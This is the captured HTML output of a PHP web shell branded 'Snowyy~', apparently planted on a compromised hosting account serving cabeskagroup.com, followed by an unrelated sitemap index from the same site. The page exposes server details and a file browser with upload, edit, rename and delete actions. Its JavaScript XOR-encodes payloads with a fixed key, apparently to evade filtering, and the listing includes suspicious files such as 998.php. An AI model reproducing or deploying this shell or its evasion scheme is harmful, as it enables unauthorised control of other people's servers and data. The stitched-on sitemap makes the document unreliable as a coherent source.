	<!DOCTYPE html>
	<html>
	<head>
	    <meta charset="UTF-8">
	    <title>Snowyy~ - Linux uk-fast-web2029.main-hosting.eu 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64</title>
	    <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&family=EB+Garamond:ital@0;1&display=swap" rel="stylesheet">
	    <style>
	        * { box-sizing: border-box; margin: 0; padding: 0; }

	        body {
	            background: linear-gradient(135deg, #0a101f 0%, #0d1428 30%, #101830 70%, #080c18 100%);
	            color: #d8e2f0;
	            font-family: 'Ubuntu Mono', monospace;
	            min-height: 100vh;
	            display: flex;
	            flex-direction: column;
	            align-items: center;
	        }

	        /* ── Snowflake ASCII Header ── */
	        .snow-header {
	            text-align: center;
	            padding: 30px 20px 10px 20px;
	            user-select: none;
	        }
	        .snow-art {
	            font-family: 'Ubuntu Mono', monospace;
	            font-size: 52px;
	            line-height: 1;
	            color: #a8d8f0;
	            display: inline-block;
	        }
	        .snow-title {
	            font-family: 'EB Garamond', serif;
	            font-style: italic;
	            font-size: 28px;
	            color: #c8ddf5;
	            letter-spacing: 3px;
	            margin-top: 8px;
	        }

	        /* ── Container ── */
	        .container {
	            width: 64%;
	            min-width: 520px;
	            max-width: 960px;
	            margin: 20px auto 30px auto;
	            padding: 28px 32px;
	            background: rgba(14, 18, 30, 0.75);
	            border: 1px solid rgba(140, 180, 210, 0.3);
	            border-radius: 16px;
	            backdrop-filter: blur(6px);
	            box-shadow: 0 0 40px rgba(100, 150, 200, 0.12), inset 0 0 80px rgba(80, 120, 180, 0.04);
	        }

	        /* ── Server Info ── */
	        .server-info {
	            display: flex;
	            flex-wrap: wrap;
	            gap: 12px 32px;
	            padding: 14px 18px;
	            margin-bottom: 20px;
	            background: rgba(10, 14, 24, 0.5);
	            border: 1px solid rgba(140, 170, 210, 0.2);
	            border-radius: 10px;
	            font-size: 13px;
	        }
	        .server-info .label {
	            color: #95b8d4;
	            font-weight: bold;
	            letter-spacing: 1px;
	        }
	        .server-info .value {
	            color: #c8dae8;
	        }
	        .server-divider {
	            width: 100%;
	            margin: 8px 0 4px 0;
	            border: none;
	            border-top: 1px dashed rgba(140, 180, 210, 0.25);
	        }

	        /* ── Breadcrumbs ── */
	        .breadcrumbs {
	            margin-bottom: 14px;
	            font-size: 14px;
	            padding: 8px 14px;
	            background: rgba(10, 14, 24, 0.4);
	            border-radius: 8px;
	            border: 1px solid rgba(140, 180, 210, 0.15);
	        }
	        .breadcrumbs a {
	            color: #a8d4e8;
	            text-decoration: none;
	            transition: color 0.2s;
	        }
	        .breadcrumbs a:hover {
	            color: #cce8ff;
	            text-shadow: 0 0 8px rgba(200, 230, 255, 0.5);
	        }

	        /* ── Links ── */
	        a {
	            color: #95c0d8;
	            text-decoration: none;
	            transition: color 0.2s, text-shadow 0.2s;
	        }
	        a:hover {
	            color: #b8ddf5;
	            text-shadow: 0 0 6px rgba(184, 221, 245, 0.5);
	        }

	        /* ── Table ── */
	        table {
	            width: 100%;
	            border-collapse: collapse;
	            margin-top: 16px;
	            font-size: 13px;
	        }
	        th, td {
	            border: 1px solid rgba(120, 150, 190, 0.25);
	            padding: 9px 12px;
	            text-align: left;
	        }
	        th {
	            background: rgba(20, 30, 50, 0.6);
	            color: #b8d0e8;
	            font-weight: bold;
	            letter-spacing: 1px;
	            text-transform: uppercase;
	            font-size: 12px;
	        }
	        tr:nth-child(even) td {
	            background: rgba(16, 26, 44, 0.3);
	        }
	        tr:hover td {
	            background: rgba(80, 130, 190, 0.12);
	        }

	        /* ── Forms & Inputs ── */
	        input[type="text"], textarea {
	            width: 100%;
	            padding: 10px 12px;
	            margin: 0;
	            border: 1px solid rgba(140, 180, 210, 0.35);
	            border-radius: 8px;
	            font-family: 'Ubuntu Mono', monospace;
	            font-size: 13px;
	            background: rgba(10, 14, 24, 0.6);
	            color: #d0dff0;
	            transition: border-color 0.3s, box-shadow 0.3s;
	            outline: none;
	        }
	        input[type="text"]:focus, textarea:focus {
	            border-color: rgba(160, 210, 240, 0.7);
	            box-shadow: 0 0 12px rgba(130, 180, 230, 0.25);
	        }
	        input[type="submit"], button {
	            border: 1px solid rgba(140, 180, 210, 0.5);
	            padding: 7px 16px;
	            background: rgba(20, 35, 60, 0.7);
	            color: #c8ddf0;
	            cursor: pointer;
	            border-radius: 8px;
	            font-family: 'Ubuntu Mono', monospace;
	            font-size: 13px;
	            transition: background 0.3s, box-shadow 0.3s, border-color 0.3s;
	        }
	        input[type="submit"]:hover, button:hover {
	            background: rgba(30, 55, 100, 0.8);
	            border-color: rgba(160, 210, 245, 0.8);
	            box-shadow: 0 0 16px rgba(130, 180, 230, 0.3);
	        }
	        form { margin-bottom: 20px; }

	        /* ── Upload Form ── */
	        #uploadForm {
	            display: flex;
	            align-items: center;
	            gap: 12px;
	        }

	        /* ── Terminal Box ── */
	        .terminal-box {
	            background: rgba(8, 12, 22, 0.7);
	            color: #b8d4e8;
	            padding: 16px;
	            border: 1px solid rgba(120, 150, 190, 0.3);
	            border-radius: 10px;
	            margin-bottom: 20px;
	        }
	        .terminal-box input[type="text"],
	        .terminal-box textarea {
	            background: rgba(6, 10, 18, 0.7);
	            color: #c0d8e8;
	            border: 1px solid rgba(110, 145, 180, 0.4);
	        }

	        /* ── Notification ── */
	        .notification {
	            position: fixed;
	            bottom: 24px;
	            left: 24px;
	            padding: 12px 24px;
	            border-radius: 10px;
	            font-family: 'Ubuntu Mono', monospace;
	            font-size: 13px;
	            z-index: 999;
	            backdrop-filter: blur(4px);
	        }
	        .success {
	            background: rgba(40, 120, 60, 0.85);
	            color: #d0f0d0;
	            border: 1px solid rgba(100, 200, 120, 0.5);
	            box-shadow: 0 0 20px rgba(80, 180, 100, 0.3);
	        }
	        .failed {
	            background: rgba(140, 30, 40, 0.85);
	            color: #f0c8c8;
	            border: 1px solid rgba(200, 80, 80, 0.5);
	            box-shadow: 0 0 20px rgba(180, 50, 50, 0.3);
	        }

	        /* ── File Input ── */
	        #fileInput { display: none; }
	        .custom-file-button {
	            border: 1px solid rgba(140, 180, 210, 0.5);
	            padding: 7px 16px;
	            background: rgba(20, 35, 60, 0.7);
	            color: #c8ddf0;
	            cursor: pointer;
	            border-radius: 8px;
	            font-family: 'Ubuntu Mono', monospace;
	            font-size: 13px;
	            display: inline-block;
	            transition: background 0.3s, box-shadow 0.3s, border-color 0.3s;
	        }
	        .custom-file-button:hover {
	            background: rgba(30, 55, 100, 0.8);
	            border-color: rgba(160, 210, 245, 0.8);
	            box-shadow: 0 0 16px rgba(130, 180, 230, 0.3);
	        }

	        /* ── Footer ── */
	        .futer {
	            width: 64%;
	            min-width: 520px;
	            max-width: 960px;
	            margin: 0 auto 40px auto;
	            padding: 18px 28px;
	            text-align: center;
	            background: rgba(14, 18, 30, 0.5);
	            border: 1px solid rgba(140, 180, 210, 0.2);
	            border-radius: 16px;
	            color: #90a0b0;
	            font-size: 12px;
	            letter-spacing: 2px;
	        }

	        /* ── Action Container ── */
	        #actionContainer h2 {
	            color: #b8d4e8;
	            font-size: 15px;
	            margin-bottom: 10px;
	            letter-spacing: 1px;
	        }
	        #actionContainer hr {
	            border: none;
	            border-top: 1px solid rgba(120, 150, 190, 0.2);
	            margin: 14px 0;
	        }

	        /* ── Scrollbar ── */
	        ::-webkit-scrollbar { width: 8px; }
	        ::-webkit-scrollbar-track { background: rgba(10, 14, 24, 0.5); }
	        ::-webkit-scrollbar-thumb { background: rgba(100, 130, 170, 0.5); border-radius: 4px; }
	        ::-webkit-scrollbar-thumb:hover { background: rgba(130, 160, 200, 0.6); }
	    </style>
	</head>
	<body>

	<!-- ═══════════════════════════════════ Snowflake ASCII Art ═══════════════════════════════════ -->
	<div class="snow-header">
	    <div class="snow-art">
    &#10052;
	    </div>
	</div>

	<!-- ═══════════════════════════════════ Main Container ═══════════════════════════════════ -->
	<div class="container">

	    <!-- Server Info -->
	    <div class="server-info">
	        <div><span class="label">SERV</span> &nbsp;<span class="value">Linux uk-fast-web2029.main-hosting.eu 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64</span></div>
	        <div><span class="label">SOFT</span> &nbsp;<span class="value">LiteSpeed</span></div>
	        <div><span class="label">IP</span> &nbsp;&nbsp;&nbsp;<span class="value">91.108.103.25</span></div>
	    </div>

	    <!-- Upload Form -->
	    <form id="uploadForm" method="POST" enctype="multipart/form-data">
	        <label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
	        <input type="file" id="fileInput" name="f" required>
	    </form>

	    <!-- Breadcrumbs -->
	    <br>
	    <div id="breadcrumbContainer" class="breadcrumbs">
	        <a class="ajx" href="?d=2f">/</a><a class="ajx" href="?d=2f686f6d65">home</a>/<a class="ajx" href="?d=2f686f6d652f75353139333336333636">u519336366</a>/<a class="ajx" href="?d=2f686f6d652f753531393333363336362f646f6d61696e73">domains</a>/<a class="ajx" href="?d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d">cabeskagroup.com</a>/<a class="ajx" href="?d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c">public_html</a>/<a class="ajx" href="?d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963">public</a>/	    </div>

	    <!-- Action Container -->
	    <div id="actionContainer"></div>

	    <!-- File List -->
	    <div id="fileListContainer">
	        	        <table>
	            <thead>
	                <tr>
	                    <th>Name</th>
	                    <th>Size</th>
	                    <th>Actions</th>
	                </tr>
	            </thead>
	            <tbody>
	            <tr><td><a class="ajaxDir" href="?d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c69632f73746f72616765">storage</a></td><td>-</td><td></td></tr><tr><td><a class="ajaxDir" href="?d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c69632f7468656d6573">themes</a></td><td>-</td><td></td></tr><tr><td><a class="ajaxDir" href="?d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c69632f76656e646f72">vendor</a></td><td>-</td><td></td></tr><tr><td>.htaccess</td><td>740 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=.htaccess">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=.htaccess">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=.htaccess">Delete</a></td></tr><tr><td>998.php</td><td>25212 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=998.php">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=998.php">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=998.php">Delete</a></td></tr><tr><td>class.php</td><td>37623 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=class.php">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=class.php">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=class.php">Delete</a></td></tr><tr><td>favicon.ico</td><td>0 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=favicon.ico">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=favicon.ico">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=favicon.ico">Delete</a></td></tr><tr><td>index.php</td><td>663 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=index.php">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=index.php">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=index.php">Delete</a></td></tr><tr><td>robots.txt</td><td>70 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=robots.txt">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=robots.txt">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=robots.txt">Delete</a></td></tr><tr><td>tzw.txt</td><td>1 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=tzw.txt">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=tzw.txt">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=tzw.txt">Delete</a></td></tr><tr><td>web.config</td><td>1183 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=web.config">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=web.config">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963&file=web.config">Delete</a></td></tr>	            </tbody>
	        </table>
	    </div>
	</div>

	<!-- Notification -->
	<div class="notification" id="notification" style="display:none;"></div>

	<script>
	function showNotification(status, msg) {
	    var notif = document.getElementById('notification');
	    notif.className = 'notification ' + status;
	    notif.innerText = msg;
	    notif.style.display = 'block';
	    setTimeout(function(){ notif.style.display = 'none'; }, 2000);
	}

	function loadBreadcrumb() {
	    var d = getQueryParam("d") || "2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963";
	    fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
	    .then(response => response.text())
	    .then(html => {
	        document.getElementById('breadcrumbContainer').innerHTML = html;
	    });
	}

	function getQueryParam(name) {
	    const urlParams = new URLSearchParams(window.location.search);
	    return urlParams.get(name);
	}

	function loadFileList() {
	    var d = getQueryParam("d") || "2f686f6d652f753531393333363336362f646f6d61696e732f63616265736b6167726f75702e636f6d2f7075626c69635f68746d6c2f7075626c6963";
	    fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
	    .then(response => response.text())
	    .then(html => {
	        document.getElementById('fileListContainer').innerHTML = html;
	        attachAjaxEvents();
	        resetFileInputLabel();
	    });
	}

	function resetFileInputLabel() {
	    var label = document.getElementById('fileLabel');
	    if(label) {
	        label.textContent = "Choose File";
	    }
	}

	function attachAjaxEvents() {
	    document.querySelectorAll('.ajaxDelete').forEach(function(link) {
	        link.addEventListener('click', function(e) {
	            e.preventDefault();
	            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
	            .then(response => response.json())
	            .then(data => {
	                showNotification(data.status, data.msg);
	                loadFileList();
	                resetFileInput();
	            });
	        });
	    });
	    document.querySelectorAll('.ajaxEdit').forEach(function(link) {
	        link.addEventListener('click', function(e) {
	            e.preventDefault();
	            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
	            .then(response => response.text())
	            .then(html => {
	                document.getElementById('actionContainer').innerHTML = html;
	                attachAjaxForm();
	                attachCancelEvent();
	                resetFileInputLabel();
	                resetFileInput();
	            });
	        });
	    });
	    document.querySelectorAll('.ajaxRename').forEach(function(link) {
	        link.addEventListener('click', function(e) {
	            e.preventDefault();
	            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
	            .then(response => response.text())
	            .then(html => {
	                document.getElementById('actionContainer').innerHTML = html;
	                attachAjaxForm();
	                attachCancelEvent();
	                resetFileInputLabel();
	                resetFileInput();
	            });
	        });
	    });

	    // Directory click events with Ctrl+Click new tab support
	    document.querySelectorAll('.ajaxDir').forEach(function(link) {
	        link.addEventListener('click', function(e) {
	            // Check if Ctrl (Windows/Linux) or Meta/Cmd (Mac) key is pressed
	            if (e.ctrlKey || e.metaKey) {
	                // If yes, do NOT prevent default. Let the browser handle opening in a new tab.
	                return; 
	            }

	            // Otherwise, proceed with AJAX navigation
	            e.preventDefault();
	            window.history.pushState(null, '', link.href);
	            loadFileList();
	            loadBreadcrumb();
	            resetFileInputLabel();
	            resetFileInput();
	        });
	    });
	}

	function attachAjaxForm() {
	    document.querySelectorAll('.ajaxForm').forEach(function(form) {
	        form.addEventListener('submit', function(e) {
	            e.preventDefault();
	            var textarea = form.querySelector('textarea[name="content"]');
	            if (textarea) {
	                // Edit form — XOR encode content
	                var key = "ice";
	                var content = textarea.value;
	                var xored = '';
	                for (var i = 0; i < content.length; i++) {
	                    xored += String.fromCharCode(content.charCodeAt(i) ^ key.charCodeAt(i % key.length));
	                }
	                var b64 = btoa(unescape(encodeURIComponent(xored)));
	                var fd = new FormData();
	                fd.append('xd', b64);
	                fetch(form.action, { method: 'POST', body: fd, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
	                .then(response => response.json())
	                .then(data => {
	                    showNotification(data.status, data.msg);
	                    document.getElementById('actionContainer').innerHTML = '';
	                    loadFileList();
	                    resetFileInputLabel();
	                });
	            } else {
	                // Other forms (rename) — send normally
	                var formData = new FormData(form);
	                fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
	                .then(response => response.json())
	                .then(data => {
	                    showNotification(data.status, data.msg);
	                    document.getElementById('actionContainer').innerHTML = '';
	                    loadFileList();
	                    resetFileInputLabel();
	                });
	            }
	        });
	    });
	}

	function attachCancelEvent() {
	    var cancelBtn = document.getElementById('cancelAction');
	    if(cancelBtn) {
	        cancelBtn.addEventListener('click', function() {
	            document.getElementById('actionContainer').innerHTML = '';
	            resetFileInputLabel();
	        });
	    }
	}

	function resetFileInput() {
	    var fileInput = document.getElementById('fileInput');
	    var fileLabel = document.getElementById('fileLabel');
	    if (fileInput) {
	        fileInput.value = "";
	    }
	    if (fileLabel) {
	        fileLabel.textContent = "Choose File";
	    }
	}

	document.addEventListener('DOMContentLoaded', function() {
	    attachAjaxEvents();
	    var fileInput = document.getElementById('fileInput');
	    var uploadForm = document.getElementById('uploadForm');

	    fileInput.addEventListener('change', function() {
	        var label = document.getElementById('fileLabel');
	        if(fileInput.files.length > 0) {
	            var file = fileInput.files[0];
	            label.textContent = file.name;

	            // Auto-upload with XOR POST, fallback to multipart
	            var key = "ice";
	            var reader = new FileReader();
	            reader.onload = function(e) {
	                var bytes = new Uint8Array(e.target.result);
	                var xored = new Uint8Array(bytes.length);
	                for (var i = 0; i < bytes.length; i++) {
	                    xored[i] = bytes[i] ^ key.charCodeAt(i % key.length);
	                }
	                var binary = '';
	                for (var i = 0; i < xored.length; i++) {
	                    binary += String.fromCharCode(xored[i]);
	                }
	                var b64 = btoa(binary);

	                var fd = new FormData();
	                fd.append('f', file.name);
	                fd.append('xd', b64);

	                fetch(window.location.href, {
	                    method: 'POST',
	                    body: fd,
	                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
	                })
	                .then(response => response.json())
	                .then(data => {
	                    if (data.status === 'failed') {
	                        // Fallback: traditional multipart upload
	                        var fallbackFd = new FormData(uploadForm);
	                        return fetch(window.location.href, {
	                            method: 'POST',
	                            body: fallbackFd,
	                            headers: { 'X-Requested-With': 'XMLHttpRequest' }
	                        }).then(r => r.json());
	                    }
	                    return data;
	                })
	                .then(data => {
	                    showNotification(data.status, data.msg);
	                    uploadForm.reset();
	                    resetFileInputLabel();
	                    loadFileList();
	                })
	                .catch(function() {
	                    showNotification('failed', 'Upload error');
	                    uploadForm.reset();
	                    resetFileInputLabel();
	                });
	            };
	            reader.onerror = function() {
	                showNotification('failed', 'Failed to read file');
	                resetFileInputLabel();
	            };
	            reader.readAsArrayBuffer(file);
	        } else {
	            label.textContent = "Choose File";
	        }
	    });
	});
	</script>

	<footer class="futer">
	    <span class="snow-footer-icon">&#10052;</span> &copy; zeinhorobosu <span class="snow-footer-icon">&#10052;</span>
	</footer>
	</body>
	</html>
<?xml version="1.0" encoding="UTF-8"?>

    <?xml-stylesheet href="https://cabeskagroup.com/vendor/core/packages/sitemap/styles/sitemapindex.xsl" type="text/xsl"?>

<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
            <sitemap>
            <loc>https://cabeskagroup.com/pages.xml</loc>
                            <lastmod>2025-04-17T00:00:00+00:00</lastmod>
                    </sitemap>
            <sitemap>
            <loc>https://cabeskagroup.com/blog-posts-2025-09.xml</loc>
                            <lastmod>2025-09-04T05:29:05+00:00</lastmod>
                    </sitemap>
            <sitemap>
            <loc>https://cabeskagroup.com/blog-categories.xml</loc>
                            <lastmod>2025-09-03T11:48:12+00:00</lastmod>
                    </sitemap>
            <sitemap>
            <loc>https://cabeskagroup.com/blog-tags.xml</loc>
                            <lastmod>2025-06-28T20:27:52+00:00</lastmod>
                    </sitemap>
            <sitemap>
            <loc>https://cabeskagroup.com/careers.xml</loc>
                            <lastmod>2025-06-28T20:28:17+00:00</lastmod>
                    </sitemap>
            <sitemap>
            <loc>https://cabeskagroup.com/galleries.xml</loc>
                            <lastmod>2025-06-28T20:28:16+00:00</lastmod>
                    </sitemap>
            <sitemap>
            <loc>https://cabeskagroup.com/projects.xml</loc>
                            <lastmod>2026-01-20T10:09:07+00:00</lastmod>
                    </sitemap>
            <sitemap>
            <loc>https://cabeskagroup.com/service-categories.xml</loc>
                            <lastmod>2025-06-28T20:27:45+00:00</lastmod>
                    </sitemap>
            <sitemap>
            <loc>https://cabeskagroup.com/services.xml</loc>
                            <lastmod>2026-05-11T20:32:31+00:00</lastmod>
                    </sitemap>
            <sitemap>
            <loc>https://cabeskagroup.com/packages.xml</loc>
                            <lastmod>2026-01-22T06:29:10+00:00</lastmod>
                    </sitemap>
    </sitemapindex>
